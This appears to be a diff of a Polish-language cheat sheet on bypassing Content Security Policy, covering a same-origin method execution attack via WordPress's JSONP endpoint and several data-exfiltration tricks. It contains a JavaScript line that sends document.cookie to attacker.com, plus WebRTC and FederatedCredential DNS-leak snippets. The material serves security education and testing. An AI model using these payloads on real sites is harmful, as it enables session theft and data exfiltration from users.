../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||
{{#endref}}
|
||||
|
||||
Ponadto, **wordpress** ma punkt końcowy **JSONP** w `/wp-json/wp/v2/users/1?_jsonp=data`, który **odzwierciedla** **dane** wysłane w odpowiedzi (z ograniczeniem do liter, cyfr i kropek).
|
||||
Ponadto, **wordpress** ma punkt końcowy **JSONP** w `/wp-json/wp/v2/users/1?_jsonp=data`, który **odzwierciedli** **dane** wysłane w odpowiedzi (z ograniczeniem do liter, cyfr i kropek).
|
||||
|
||||
Atakujący może wykorzystać ten punkt końcowy do **wygenerowania ataku SOME** przeciwko WordPressowi i **osadzić** go w `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`, zauważ, że ten **skrypt** zostanie **załadowany**, ponieważ jest **dozwolony przez 'self'**. Ponadto, ponieważ WordPress jest zainstalowany, atakujący może wykorzystać **atak SOME** poprzez **podatny** **punkt końcowy callback**, który **obejmuje CSP**, aby dać więcej uprawnień użytkownikowi, zainstalować nową wtyczkę...\
|
||||
Aby uzyskać więcej informacji na temat tego, jak przeprowadzić ten atak, sprawdź [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
@ -636,7 +636,7 @@ Jeśli istnieje surowa CSP, która nie pozwala na **interakcję z zewnętrznymi
|
||||
|
||||
### Location
|
||||
|
||||
Możesz po prostu zaktualizować lokalizację, aby wysłać do serwera atakującego poufne informacje:
|
||||
Możesz po prostu zaktualizować lokalizację, aby wysłać poufne informacje do serwera atakującego:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split("=")[1] + "."
|
||||
document.location = "https://attacker.com/?" + sessionid
|
||||
@ -700,6 +700,19 @@ var pc = new RTCPeerConnection({
|
||||
});
|
||||
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||
```
|
||||
### CredentialsContainer
|
||||
|
||||
Popup z poświadczeniami wysyła zapytanie DNS do iconURL bez ograniczeń na stronie. Działa tylko w bezpiecznym kontekście (HTTPS) lub na localhost.
|
||||
```javascript
|
||||
navigator.credentials.store(
|
||||
new FederatedCredential({
|
||||
id:"satoki",
|
||||
name:"satoki",
|
||||
provider:"https:"+your_data+"example.com",
|
||||
iconURL:"https:"+your_data+"example.com"
|
||||
})
|
||||
)
|
||||
```
|
||||
## Sprawdzanie polityk CSP online
|
||||
|
||||
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user